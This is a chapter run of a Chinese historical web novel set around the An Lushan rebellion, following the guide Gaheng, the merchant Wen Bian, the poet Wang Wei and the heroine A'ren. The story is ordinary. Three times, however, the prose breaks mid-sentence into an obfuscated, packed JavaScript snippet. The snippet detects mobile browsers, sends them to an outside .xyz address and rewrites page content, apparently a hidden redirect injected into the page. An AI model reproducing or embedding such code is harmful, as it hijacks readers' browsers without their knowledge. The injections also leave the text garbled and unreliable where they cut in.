那个叫余勒多斯的婢女笑着对他点了点头,呲出一口小而整洁的牙齿,白的发亮。她的也像哈尔那样编了许多发辫,不过编了几股金丝线进去,一甩头便是满头金灿灿的光。 “你赢了,也算结识了个不错的朋友嘛……记不记得,你我相识也是因为一场赛马。” 15. 出漠记 伽衡很久以后才读到唐人形容大漠的诗句,“大漠沙如雪,燕山月似钩”,那是很久以后的事了。他用力地咳嗽着,将耳鼻和嘴里的沙石咳出来,抬头便看见黑幢幢的山影上悬着一弯明月,天空平静幽蓝,刚才的那起沙尘暴好像没发生过。 他拍了拍巴瑞施玛——那会儿它还没有名字,也没有鼻棍与缰绳,是自由原始的生命。白骆驼温顺地站起来,抖动身躯,身边便掀起一圈黄烟。伽衡瞥见它的尾巴被飞石砸断了,撕下袖口的布给它绑好。十天十夜,他在亘古的寂静与寒冷中赶路,翻过一座沙丘,还是沙丘。他不知道自己要去哪里,不知道要做什么事,一场更为久远、更为磅礴的沙尘暴十几年前就席卷过来,就是天底下最快的骏马也跑不出去。伽衡没有骏马,只有一头白骆驼;他说他要走,白骆驼就跟在他身后。 远方隐隐出现了人声与火光。伽衡走到时,一群杂役正在叫喊着刨沙子,沙子被抛出去又流向坑里,想必是哪个同伴被沙子埋住了。表层沙的形成向下的波纹,他迅速加入坡中间偏下的一群人一起挖,仗着胳膊长的优势摸到了一把箭羽。 伽衡直接深吸一口气把脸贴进沙面里,两只手都划到身前摸索到那人的腰带上,用力往外拖;众人也抓着他的肩膀,齐心协力把人拽了出来,那人已经成了一具沙人,七窍被沙石塞得满满的。几个相似打扮的人凑上来,一阵拍打抢救,伽衡便坐在一旁静静看着。他想说你们要去哪里,不如带着我呗,但是很久都没人来理他,他最终靠在白骆驼身上睡了一觉。醒来时一个男人和他并排靠在骆驼身上,腰带上挂着箭囊。 他很久都没遇到大片的水域,这次在对方透明的像琉璃一般的眼睛里看见了自己头发蓬乱的模样。 “这骆驼真不错,”对方用突厥语说,“不过男人应该有一匹马。” 伽衡打量着他。各种各样的人路过祖父的驿站,他不凑过去闲聊,只是听,日子久后总能猜出别人的身份。对方应该是贵族,只是祖父的突厥语就不怎么样,他更不怎么样了,连比带划道:“带我一起,我能做事。” “你不要重金酬谢,却想加入商队?可以是可以,但你要先证明自己不是废物,”对方爽快道,既不问来历,也不问姓名籍贯。他更坚定了自己的猜测。“这样吧,我借你一匹马,我也骑一匹,五百个数之内,你若能从我的箭囊里抽出一支箭便能加入。” 伽衡笑了一声,他暂时不会用突厥话骂人。 “你要一匹怎样的?” “最快的。” 哈尔盯了他几秒,哈哈大笑起来,随即对身后的人吩咐道:“余勒多斯,把设和塔黑带来——塔黑是我的马,而设是最快的马。你可要想好。” 漂亮的突厥姑娘立刻就牵了两匹马来,斜睨伽衡一眼,伸手就把马鞍卸下来了。她这样自作主张,哈尔也不恼,还笑眯眯地把剩一口酒的酒壶凑到她嘴边,余勒多斯叼着仰起脸,一饮而尽。哈尔松开手,骑上光溜溜的塔黑,得意道:“我的姑娘怎么样?”他抱着马脖子跳上去的动作很轻盈,明显擅于无缰绳赛马。 “不算最漂亮。” “行啊,马要最快的,姑娘要最漂亮的——看你有没有这本事了。”他们挑了一块坚固的泥土地。哈尔突然一踢马肚子,塔黑猛地蹿了出去。设果然是匹烈马,立刻撒蹄子要去追同伴,伽衡在下面跟着跑了几步就跳起来抱住马脖子。设直立起来,他双腿试图往上跨,结果这小畜生就开始蹦跶。伽衡的所有经验都来自于几年前去世的那匹老母马,很温顺,而且从来没尝试过无缰绳骑马。眼下他双脚也不知道踩哪里,被颠得手也抱不住,连忙蜷成一团落地,后背重重砸下时差点一口气没喘上来。 围观的几个人在唏嘘,好像在劝哈尔别把恩人整死了,唯独那个余勒多斯在起哄。哈尔骑着塔黑立在月光下,看着他不说话。 伽衡打滚起身,躲开设的后蹄,再次拦腰抱住它。设又开始蹦跳,他在它腰部使力的时候把胸膛挪上去,借着它向上的力整个人也翻身上马。他往前挪扶住马脖子,用靴子狠狠踢设的腹部,催它别整这些没用的快去追哈尔。有脚蹬的好处之一就是能让屁股稍微离开马背,保持稳定的同时还不磨屁股,他只能慢慢学着用大腿发力,将身体和马起伏的节奏调成同步。 他没练过,但是他很有天赋。 哈尔踱来踱去,也不嘲笑也不催,只听见余勒多斯脆生生数到三百二十一的时候伽衡冲了过来。他整个人向外探身,伸长手来够,居然还骑得稳稳的。哈尔掉头往前跑,设一边蹦一边追,仍孜孜不倦地想把伽衡甩下来,然而伽衡已经保持住了一种——颠簸的稳定。他猛夹马肚子,让设往塔黑身上撞,设正求之不得,哈尔的一只手一直护住箭囊,他便抓住哈尔的肩膀将其往下拽。 哈尔惊的骂了声脏话,两人一起跌落,两匹马慌乱的蹄子就要落下来。伽衡还没从刚刚摔的那一下中恢复过来,现在设的蹄子又将踩在他胸口,哈尔抱住他就顺着坡往下滚去,边骂道:“你差点死了!我们扯平——” 伽衡翻身压在他身上,抽出一根箭来,抽到一半迎来了哈尔的拳头,两人由赛马变成了肉搏。然而打架是伽衡更不擅长的,他往后一步步退着,突然又翻身爬上了设——这一次的动作又快又熟练——然后闪电般俯身再次握住箭羽,双手离开了马脖子,双腿却挪也没挪一下。哈尔欲抢,然而设已经跑了起来,伽衡也不松手,由侧身变成了仰身,一股冷气窜上哈尔的天灵盖——他这个姿势可太容易向后坠马了,那是真会摔断脖子的。 伽衡确实下半身已经随着马冲出去了,上半身还仰着与哈尔对视。看似腿要夹紧马身,手要与哈尔较劲,两边都要使极大的力气,但其实在与马的节奏合一后,马的力气就变成了他的力气,箭簇瞬间从哈尔手中抽出。他腰腹发力,由躺着直起上身,高举起手中的箭。 余勒多斯数到了四百八十五。 设嚼着空气,以示臣服。它不觉得自己被操纵,甚至觉得背上的人是在和它玩,感到很开心。 傍晚,伽衡已经被允许坐在哈尔身边一起享用晚饭——什么叫允许坐在他身边?但是看见哈尔在烤羊肉还是坐过去了。他一路上只随便吃些绿植,好久没闻到肉香。 “有句话骗了你,其实我收了挺多废物的,刚才只是想玩玩,”哈尔把用树枝串起来的生肉递给他,示意他一起烤,“你看上去是天生的战士。” “我不会打架。” “你不要命。”哈尔把生肉翻了面,“跟我说说你的情况呗,为什么不会?” 伽衡于是磕磕绊绊地说他也什么都不知道,家里只有一个祖父,前几天过世了。哈尔也主动讲了他自己,他是原来突厥王室,后来突厥在唐和回鹘的联手下覆灭,部分并入大唐,部分并入回鹘,他哪儿都不愿意去,便出来行商了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001939|161798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四海为家的时候不容易意识到自己没有家。 “唉,有些东西小时候没学会,再学就难了。”哈尔看上去是真的很惆怅,紧接着又蹦起来,抽出一支箭,上弦、拉弓、迅速松手,远处的一只蝎子被和身体差不多大的箭簇切成两半。哈尔把箭簇在野草上蹭干净,回收到箭囊里,伽衡其实想说蝎子烤着很好吃的,但是他不会说蝎子,只是说了“你射箭很好”。 哈尔微微一笑,晶莹剔透的蓝眼睛里映着篝火,他站着,对这个新交的朋友大声道:“那是自然!我们突厥人三岁骑马,四岁射箭,骑射当属天下第一。尤其是我,和我的射箭比起来,使用刀剑根本不算什么——我速射快过鹰隼,矢能逾两百步,力可穿透牛骨,准能活折蝇翼。我打了五场仗,杀敌九十余人,最后还是不能救我的国家。”他顿了顿,平静地坐下,拿另一根树枝刮掉烤焦的地方,“你说,这是什么道理呢?所以没有家乡也好呀,一辈子都不用知道国破家亡什么滋味。” 伽衡觉得他在扯淡,但自己反驳也反驳不清楚,干脆不说话。哈尔倒是一个劲儿说话,他说我可以考虑把设送给你,他说你以后便跟着我干,我赚钱也是很厉害的,他说你会不会唱歌?会不会弹琵琶?他把琵琶递给伽衡,伽衡就弹唱了一首汉语歌,他怒道你他妈早说自己汉语更熟练啊,我也会说。 伽衡于是扭过头来,道:“你真是个自大的蠢货......不过还是谢谢。” 提起往事,两人相视一笑。伽衡后来问为什么说自己是天生的战士,他说是因为第一次相遇时你的眼神,人的眼睛里是有规则、有顾虑的,你的眼睛像狼的眼睛,在说“你要是不答应我就咬死你”。伽衡听了狂笑了半天,说不至于不至于,因为我赶路又累还没肉吃所以臭脸。 “你别试图唤醒我的感激,”伽衡叫道,“珊瑚扇是不可能给你的。” “我把你让给闻辩才几年,你就这样对待老朋友?闻辩给你分的钱肯定不如我多。” “分的份额没你多,但总数还是比你那儿多。何况不是钱不钱的问题,这珊瑚扇是珍藏品,不卖的,我上次热心让你进来坐坐你居然趁我转身翻储藏柜我都没告诉闻辩!” 阿忍想提问也没敢打断,现在见两人互相僵持才问道:“什么珊瑚扇呀?” “噢,闻辩三年前收来的一个宝贝,卖主是个不识货的小贩,因此也没花多少钱。我拿来给你看看。”伽衡进里屋找出了一块丝绢包着的东西,随即瞪哈尔,“你别抢。”他小心翼翼解开,露出一扇造型优美、红润无暇的珊瑚,但若仅仅如此并不算稀奇;最重要的是珊瑚中包裹了一颗巨大的明珠,她看不出是什么材质,伽衡用手遮在其上也不见其有什么变化,显然不是夜明珠。 然而下一刻,换哈尔用手去捂,明珠就在阴影下发出明亮而温暖的光芒,三人都低低惊呼起来。“你看!”哈尔踢了一脚伽衡伽衡的凳子,“这算不算宝物认主啊?它对我有反应!” 伽衡不睬他,推到阿忍面前让她也试试。阿忍伸出手,在距离其还有五寸的时候明珠已经开始发亮了,等完全按上去时已经亮的像有火焰在其内燃烧。面面相觑间,哈尔凝神道:“会不会是里面有磷粉,谁的手热它就烧得亮?这也不对,这珠子一丝裂缝也没有,如何烧的起来......” 阿忍缩回手,昏暗再次笼罩他们,伽衡像刚刚回过神来似的起身将珊瑚扇收好。 16. 旧芙蕖 哈尔今日才算知道这珊瑚扇有多不寻常,自知是买不过来了,也就作罢,只是非要伽衡把晚餐请了。 “你要去哪吃?别说是去平康坊。” “吃家小店有什么必要让你请。” 伽衡看阿忍,阿忍看余勒多斯,余勒多斯扭过头。哈尔环视一周,恍然大悟:“哦哦我都不习惯你这这这......行吧,你送赵娘子回家。”四人在街口道别,哈尔还送了阿忍几副螺钿壳花钿和自己的名帖,说如果遇到困难可以报他的名字,他在江湖上可有名了。伽衡又在旁边憋笑,阿忍拍了一下他的手臂,连连道谢,她觉得哈尔还是挺可爱的。 “他说不习惯,”分开后伽衡立刻对她说,“那是他硬拉着我,我绝对不曾——” 阿忍笑道:“我可没问。你不是还要在店里忙吗?” “先送你回去。” “不用,我认得路。” “我送你回去。”伽衡坚持道,“另外有件事要告诉你,关于我个人的,即使是哈尔这样的熟人都不知道。”他刚要继续,阿忍连喊几个“停”,“既然你不愿对别人说,那也没必要对我说。” “我愿意跟你说!不是,这件事真的很重要,我刚刚才想起来。你可以听了以后再决定要不要......嗯......接受。” 阿忍回过头,第一次在伽衡脸上看到犹豫和焦虑这样的神情,倒是有些惊讶了。“你有过妻子?” “没有。” “那便别说。”她把双手背在身后,俏皮地退了一步,“什么接受不接受,我还什么都没答应呢,以后再说也不迟。不劳你送这一趟啦。”言罢兀自回客栈了。 后面几天都没机会见到伽衡,想来他生意上忙得很。第三日是上元节活动的最后一日,闻辩回到客栈,同她一起去拜谒王给事,他换了身宝相花纹兔裘,戴幞头,比平日方便的胡服扮相显得更风流蕴藉、品貌不凡。 阿忍笑着行礼:“天官赐福,上元安康!您这身新衣真好看,穿上后倒不像个商人,和街上那些文人雅士没什么区别。”她今日加了义发,梳着高而端庄淑雅的峨髻,是为了拜访义父的朋友而郑重打扮了的。 闻辩这几日帮忙处理赌坊事物,连花灯都没有看,他觉得照影个性散漫、并不适合做生意,对闻法更为头疼。昨日与几位官员在酒楼吃饭时,他听见儿子的声音从屏风左边传来,高声谈论太子和永王,连他狐朋狗友的议论和舞女的娇笑都掩盖不住。他立刻与几位同行者道了歉,冲到隔壁揪住闻法的耳朵就往回走,闻法一路谩骂、拳打脚踢。今日进门时太阳穴还在突突猛跳,见了这样乖巧有礼的姑娘,什么烦躁都烟消云散了。他伸手摸了摸阿忍的头发,又黑又亮,其上还有榆木刨花水的清香。 两人乘的马车,在驶过光德坊和延康坊间时闻辩示意她向外看,宫门口的空地上有一座高十五尺的莲花灯,外层将密密麻麻的花瓣粘在木质结构上,其中燃香无数,戒香的烟气弥漫在街道间。阿忍扒在窗口赞叹,闻辩微笑道:“为你祈福而点的。” “谢谢闻先生!可这要耗费多少钱啊。” “我最不缺的便是钱了。” 阿忍怕惹他不高兴没多说什么:既然衣食无忧,为何一直在外亲力亲为地跑商,而不待在家陪陪妻儿呢?不过人家的家务事自是轮不到她指手画脚的,更何况闻辩没主动提起过妻儿,她便只是感念闻辩对自己的关爱。马车一路没拐弯,到了怀德坊,王维位于长安的宅邸便在此坊内。久闻他寄情山水,在终南山有一间辋川别墅,其中山林湖水、亭台楼阁既富有自然之趣,又具神工鬼斧。然而这现在是非常时期,官员需要待在长安城内,王维只能在这里接见他们,阿忍还颇为遗憾不能看一眼辋川别墅。 应门的是一对少男少女,男孩没睡醒一样,女孩很热情,回去通报一声后就引着他们往里走。庭院空荡荡的,既没精心打理花草,也不见什么仆从经过,女孩介绍道:“我家主人淡薄喜静,所以家里没几个下人,招待不周的地方还请多多担待。我叫红豆,有什么需要可以叫我的。”她不会客套,也不懂“赵无量之女”是什么人,满脸稚气,看着只有十四五岁。 远远地看见有个人影站在宅前,衣冠整齐,长身玉立。 后世评价王维“如秋水芙蕖,倚风自笑”,阿忍此刻也是被这个老人的气度风姿震撼到了。他年近花甲,消瘦却有清逸出尘之表,远远看见他们便伸臂平揖。闻辩是晚辈,连忙跑几步过去还礼,阿忍跟着一边跑一边掏出义父的那封信,鞠躬时举到头顶。 “这位便是赵师傅的义女,赵安忍小娘子。”闻辩见他没主动说话,将阿忍往前推了推,“闻某乃一介市井商人,久闻摩诘居士的诗名,这回蒙幸与赵娘子一同前来。” 王维微微笑了笑,对二人点了点头,“不敢。二位请进。” 他们跟着进了大堂,王维便在羽席上跪坐好。唐朝以来,交椅、胡床进入千家万户,人们渐渐舍弃了席、榻类这样不舒服的传统坐具。她与闻辩对视一眼,也在对面跪坐下,却迟迟不见谁来倒茶。王维唤了好几声,红豆才莽莽撞撞冲进来,把过烫的茶水斟上。 他歉意道:“寒舍实在没什么下人,红豆不懂事,请放一会儿再喝吧。” 两人连连道无妨,阿忍在生人面前不好意思讲话,她怀疑面前这个老人是不是也怕生,因此才拆开信开始看,屋内一时陷入令人尴尬的沉默中。纵使闻辩善于与人交际,也不好在对方读信时开口,两人便注视着王维的表情由惯常的平和渐渐开始变化,最后下极大决心般抬起头、不得不面对两人时,眉头仍无意识地皱着。 “赵娘子,”他开口,“赵兄说他近年腿脚越发不好,还能走动吗?” “劳您挂记,走还是可以稍微走走的,只是站立的时间不能太长。我和师弟会尽心侍奉义父的。” 他一会儿没说话。阿忍趁此机会观察了一下大堂布置,与义父那般堆得乱七八糟、什么好东西都挂出来相比,王维的家里显得素净多了,庭院空荡荡,屋内也是空荡荡,唯有对面的墙壁上有几笔墨痕,远观像是雾气中的山。与其说是清冷幽邃的山水意境,不如说是超出尘世美学的宗教境界,房里的一切都显示出身与物化、随缘任运的禅韵——除了它们的主人,他正捧着张轻飘飘的信纸,知晓沉重的命运再次向自己碾压而来。 “沙州到长安路途遥远,既然来了,便多玩几日吧。赵兄有没有说让你什么时候走?” “没有明说,但想必还是跟着闻先生一起回去的。” “多住些时日吧。”他仍劝道,“住到秋天。正好过些日子我去辋川住,不知赵娘子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001940|161798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愿不愿意同去?那边可以划船钓鱼、摘花打果,下人也更多一些,有五六个姑娘可以陪你一起玩。我到时候再专门遣车把你送回去。” 闻辩不易觉察地挑了一下眉头。阿忍立刻便答应了,想来王给事无妻无子,独自住在大别墅里也该很寂寞,“好,我待会儿就写信告诉义父一声。我和师弟有一个人在家就够啦,我今年留在长安陪陪您。” 王维轻轻笑了起来,偏头与闻辩交谈。闻辩身上有一种超乎凡人的魅力,别人说什么他都知道,还能以一种谦逊、温和、风趣的方式扩展延伸话题并在同时调动对方的兴致和积极性。他本来是寡言且心不在焉的,几句话后却倾盖如故,两人从诗聊到画聊到佛聊到时局,又转移到轻松愉悦的轶事上。 他便说起与赵无量相识的故事,那还是开元二十四年的事,他赴河西节度使幕为监察御史兼节度判官。 是年三月,河西节度副大使崔希逸及吐蕃战于青海,败之。他受命出使宣慰崔希逸及边地众兵士,时间长达一年,其间写诗无数,《使至塞上》就是最著名的一首。写完这首诗的第三天夜里,一个年轻男人破门而入,手里拿着这首诗的抄纸。 “这是你写的?”他披发覆面,睡袍及地,一双因熬夜而发红的眼睛睁得大大的,“你写的?你叫王维?” 他吓得几乎要喊人,对方却极兴奋地坐在了桌上,伸出一只手,“不知道你听没听说过沙州第一神手?就是我,赵无量。和我交个朋友吧!” 这只手他一握就是二十年,他们频繁书信往来,见面畅聊的日子却只有二十天。那夜后的十天里,他每日去找赵无量,每日赠其一首诗,只谈诗画,不谈世事;几年后赵无量来了长安十日,每日来找他,每日赠其一座泥塑,只谈佛法,不谈俗尘。 伯牙与子期,统共也就相处了八月十五的那一天晚上。 他得知己如此,已经心满意足。只是他也知道这位知己的性情,都不算一个传统意义上的良友,更不会是个好父亲。又看一眼旁边乖巧温顺的阿忍,他心里只剩一声喟叹。 共用午餐后,王维将他们送到门口。“赵娘子,过阵子要去辋川时便叫红豆去找你,你暂且在客栈住着。”他扶着门框道,又强调道,“平日里无聊也可以随时来,我一介小官,平日里没什么事,可以教你作诗绘画。你……” 阿忍很高兴地应了一声。 “你四处逛逛,长安很好的。” 以智上求佛道,以悲下化众生。不为自己求安乐,但愿众生得离苦......他关上木门,将外面那个喧闹繁华的世界与自己荒芜的小院隔开。 闻辩将阿忍送回去后就再次出门,郑龟寿已经叫好马车等他。两人坐上马车,郑龟寿又强调了一遍:“我前几日去过了,发现他外出未归。” 窗帘挡着日光,两人在昏暗而闷不透风的车内对坐着,忍受着颠簸。刚刚也是走得这段路,然而闻辩刚刚身心舒畅,现在晕的想吐。他没有说话,闭眼开始冥想,过了大概半个时辰才到目的地。这是一座朱门大院,门边本该摆石狮子的地方摆的却是神荼、郁垒两尊泥塑门神,凶神恶煞、栩栩如生,似乎下一秒就要震声怒吼。 闻辩颇感兴趣地看了一会儿,叩了叩门环。有童子应门道:“我家主人一个月前去杭州远游了,至今未归。” 17. 不辞而别 “我就说吧。”郑龟寿嘟哝道,“你还不信。” 闻辩谢过童子,淡淡开口道:“这又如何,随我去杭州便是。我不找到这个聂蟠,你也别想溜走。” 聂蟠是个泥塑师,虽不及赵无量技艺精湛,然而在达官贵族中左右逢源,近年来甚至成为了圣上的御用泥塑师。他是以制作人俑发家的,即使在唐朝,许多有钱人家在去世时仍喜欢用假人陪葬,寓意到了地下仍有仆人伺候,而人俑的制作技术和寻常的塑像就大不相同了。佛像求神韵,人俑求逼真。改行多年聂蟠也没改掉写实的习惯,从门前这两尊门神身上便可窥见一斑。 然而人俑的寓意并不吉利,所以泥塑师通常是自由发挥,不会按照谁的模样来做。郑龟寿给他的报酬就是这样一条消息:五十年前,有人请聂蟠为自己塑像,要求必须是一模一样。 郑龟寿那时坐在他对面,胜券在握的表情。他不知道郑龟寿对自己的情况了解多少,眼下只能决定一直将其带在身边,把聂蟠的事彻查到底。 "不过也还是挺巧的。"他冷不丁说,“这一趟你找上我,而我恰好运了赵师傅的一件货物。别人或许不知道,但赵师傅祖上可以追溯到汉朝,也是做人俑的。你听说过吗?” 郑龟寿眼珠微微颤动,不等他开口,闻辩就道:“好了。一周后我们出发去杭州,别想耍滑头,我叫安金把郑枥看住,在我们回来之前他哪儿都没法去。” “悉听尊便。” 郑宗望踩上马车,和他对坐着,心中暗暗发笑。这正是自己想要的。 正好在七天后,闻辩的私人邮差将一封信送到他手中——他说一周后再出发就是为了等这个。邮差是他当时途径沙州时留在那里的,毕竟赵无量的义女在他身边,若有急事可以通过邮差找他。自秋天启程后,阿忍给赵无量写了好几封信,均未得到回音,可能是他没收到,也可能是回信没送到,这都正常。闻辩只写了一封信过去,说务必让邮差把回信送到长安。 如今邮差总算是来了,拆开却不是故人的字迹。 般若足下:我于十二月十五返沙州,家门大敞,父不知所踪。若先生有任何消息愿亟告知,暂勿送姊还家。赵有觉敬颂春安。 赵无量失踪了?他将信纸放在灯台上烧掉,催马去了云海间。伽衡正和雇佣的掌柜在对账,每次进了新的货物他们都要一起估计价,只听他说道:“......你应该卖给他呀,今年西域开采出了一口新的翡翠矿,这几年翡翠价格都要跌......” “老潘,你先出去一下。”闻辩进来便生火烧水,伽衡凑过来,“我来吧。” 水开始咕嘟咕嘟地响。他转身轻声说:“我现在要你去一趟赵无量家,他失踪了。” “他被掳走了?” “他自己出玉门了。”闻辩淡淡地说,“人就不用管了。但是我要你去他家里找两绺头发,应该是用细绳绑好、存放在隐蔽之处的,一绺是黑且直的,另一绺是黑且卷的。明日日出前就走吧,我明天也要出发去杭州。” 尽管伽衡心中有很多问题,但他知道闻辩不喜欢问问题,当下只是答应。为这样奇怪的任务跑这么远?日出前就出发?阿忍可还在长安呢。 那又怎样,他转念一想,自己骑马最快,理应去沙州;队里的其他杂役都留在客栈陪阿忍,多一个自己又不会更安全。 “你在想什么?” “没什么,”他笑道,“才想起来这里是长安。” 作为一个向导,伽衡永远不会离开队伍太久,沙丘、湖泊的位置会转移,狼群在窥视,天气变幻无常……人们都好容易死掉。沙与荒原是完全属于他的世界,没他不行。 但是现在是在长安,汉人的长安,天底下最安全的地方,有没有他一个小小胡商都无所谓。 闻辩懂他的意思。“这样晚,阿忍应该睡了,你叫曹沛沛跟她说一声吧。或许你想等到明早跟她打个招呼再走?” “城门一开我就走。” 闻辩既然此刻来找自己,必然很急,他决定能走多早就走多早,与曹沛沛打了声招呼就把借来的马全部赶上了。他犹不放心,撕下账簿的废页给阿忍写了几句话,让闻辩代为转交。 五更二点,鼓自内发,诸街鼓承振,坊市门皆启,鼓三千挝,辨色而止。侍卫费力推开厚重的城门,寒风灌入,第一位行人骑着一匹五花小矮马飞驰而出,后面跟着浩浩荡荡的马群。他回头望长安城巍峨高耸的城墙,丹漆沉沉,绀色的霞光辉映其上,天地间万籁俱静、空无一人。 这些天是阿忍最轻松惬意的日子。她在沙州每天都有很多活要干,路上也不断责问自己,现在双眼一闭什么都不去想了,经常一觉睡到中午。醒来后就练练字看看书,再去逛街,她尤为喜欢逛泥塑铺子,一边看天南海北的泥塑作品一边揣摩自家的方法,越发觉得义父的技艺登峰造极,有些手痒了,却一直没找到卖泥块的店铺。 去问问伽衡,让他帮我买两块回来。 她一想到伽衡就嘴角上扬,独自傻乐半天,整理好面部表情后才推门出去。找了一圈又没找到人影,曹沛沛坐在石阶上晒太阳、练习汉语发音,她问:“沛沛,你知道伽衡去哪里了吗?” 曹沛沛盯她:“赵娘子,你每次找我就这一个问题啊。” 阿忍一时语塞,他低下头,“他和闻辩都走了。” “走到哪儿去了?” “不知道,我就是看见他们收拾好行李出城了。” 她满腹疑虑,但是曹沛沛已经明显不开心了,她不好再多问。说了一会儿话后,她又找商队里其他人,只有郑枥知道闻辩和郑龟寿去了杭州,谁也不知道伽衡去哪儿了;又去伽衡房间,什么纸条之类的也没有留下。 此后的日子平静却暗流涌动,长安城该怎样还是怎样,笙歌舞乐,万国来朝;哥舒翰据守潼关,李光弼与郭子仪接连大败叛军史思明部,切断了叛军前线与范阳之间的交通线,叛军东进被张巡阻于雍丘,南下又被鲁炅阻于南阳,安禄山腹背受敌。形势一片大好,就连乐坊也出了许多赞颂圣上军功的词曲。阿忍原来是不了解这些事的,最近常去宣化坊的“交壤记”——她苦苦搜寻半月后发现的一家有泥砖卖的泥塑铺子——找广愿喝茶闲聊,从她那儿听说的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001941|161798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>广愿三十多岁,有两个孩子,然而觉得在家当大娘子太无聊了,正好从小拜师学泥塑,便开了这家交壤记做做生意。阿忍逛完了所有的泥塑铺子,觉得这家小店是最别出一格的,可具体哪里好也说不出来。赵无量精心培养赵有觉为衣钵传人,对她只是教着玩玩而已,所以阿忍只是会而不精。纵使如此,她搭木架的时候广愿便道:“你是赵无量教的?” “这便发现了?”她惊叹道,“我是他义女,略懂一点。” “木架就是佛的骨骼呀,通过打钉确认头、肩、胸、腰的位置,内行人看身材比例就知道师出何门了。” 阿忍想了想,把木架拆了重搭,这回广愿就看不出赵无量风格了。“因为我没有在做佛像,”她解释道,“我想着具体的人,身材当然和佛不一样。” 广愿看着那宽肩窄腰高个长腿的木架,“情郎呀?”就眼见着阿忍脸红起来,慌慌忙忙给拆了。 她前仰后合地笑了半天,觉得逗小姑娘真好玩。“这有什么不好意思的,有情郎好啊,不像我见都没见过夫君就嫁过去了。不过他人也不错,能凑合过。”她拉过阿忍的手,把她拽到自己身边坐下,“可是你天天来我这里,怎么不见你情郎出现呢?” “他走了。” “走了?”广愿差点想说一句节哀,瞧着阿忍的神情又不像那个意思,“去哪里了?” “我也不知道,他没跟我说。” “节哀。”她诚挚道,“换一个吧。” 阿忍于是拼命说服广愿他很好,越说广愿脸上那种混杂着怜悯与好笑的表情就越深刻,反问道他是不是摸过你的手?是不是亲过你脸?你以为真的是有什么急事吗,他动手动脚得逞了,新鲜劲儿过去了,就去找下一个女人了。啊你说什么?还是个胡人?广愿几乎一脚把木架踢翻,恨道:“那就更不可信了!他跑到天涯海角你都找不到。” 阿忍早听沙州的邻里女子们说过男人不可靠,她从前没体验过,不知道究竟有多不可靠。这下被广愿的话给惊到了。那些隐晦的、暧昧的、心照不宣的暗流她自然不好意思清清楚楚地讲给她,让她判断一下是真还是假,只是小声道:“可是他表现得很真诚,你是没看见。如若他对我不是真心,那寺庙里那些僧人对佛也不是真心的。” “确实不是真心的啊。”广愿奇道,“你们沙州的僧人很虔诚吗?长安的僧人都是混香火钱的。” 阿忍三观巨震,又听她接着说:“那安禄山,早年还偷人家羊,圣上给他三镇节度使的权利,贵妃收其为养子、为其洗三,皇恩浩荡呀,这他都要造反!你说男人多无情?天宝十三年,叛乱事宜已准备好,他还敢去华清宫跪地恸哭,你说男人多会演?” 广愿满意地看到阿忍一会儿没说话。 阿忍是真的恍恍惚惚琢磨出了点什么。虽然不觉得伽衡真的从此抛下自己不顾了,但在原来只是疑惑的基础上,多了一层失望。她早就懂得世上的情义都是不坚牢的,最近身边出现一个男人,居然就给忘了 赵安忍,你趟这趟浑水做什么,他真的走了呀。早知今日,当初何必从寂静中走出来呢? 18. 归返 天宝十五载六月四日,哥舒翰恸哭出关。 潼关之战已持续半年之久,叛军劳而无功,唐军也没能进一步收复失地。哥舒翰再三奏表建议坚守不出,圣上严词苛责,以"贼方无备"为由,催促哥舒翰出关迎敌。有高仙芝、封常清的前车之鉴,哥舒翰不敢抗命。 河西上至老人,下至妇幼,人人都会唱“北斗七星高,哥舒夜带刀。至今窥牧马,不敢过临洮”这首民谣,人人都是听着哥舒翰大将军的功绩长大的。然而去年二月,他因洗澡导致突然中风,昏迷很久才醒过来,落下半身不遂的后遗症。将军老矣,还能打仗吗? 长安的气氛急转直下,这些天开门的店铺变少了,许多人借故出城。王维迟迟没法离开,闻辩迟迟没有回来,她只能和商队一起待在客栈里等。她还是总往广愿那里去,广愿有一次雕了个很像的阿忍,然后摔碎。 “去去晦气,人俑不吉利。”她说,“它碎了,你长命百岁。” 就在这个时候,大街上传来一声盖过一声的喊叫,潼关失守了,哥舒翰投降了。 阿忍平静地帮广愿把地扫干净,躲开街上乱跑的人群,回了客栈。谁也没预料到事情是这个样子,可真当发生了,一切似乎又有迹可循。城门的进出开始戒严,人们更加焦虑,却也不至于动乱。总不至于真的打到长安来吧?这可是长安啊。 纵使如此,她还是跟章堂说还是办个出城手续。章堂说一周前就交上去了,至今没得到回复。 六月十二日,仿佛为了安抚民心似的,圣上来到兴庆宫勤政楼,宣布亲征。那天下午铺子又都开张了,阿忍去尼寺上了一炷香,身边还有两个妇女结伴来求子。 六月十三日早,兴庆宫门开启,圣上逃跑了。 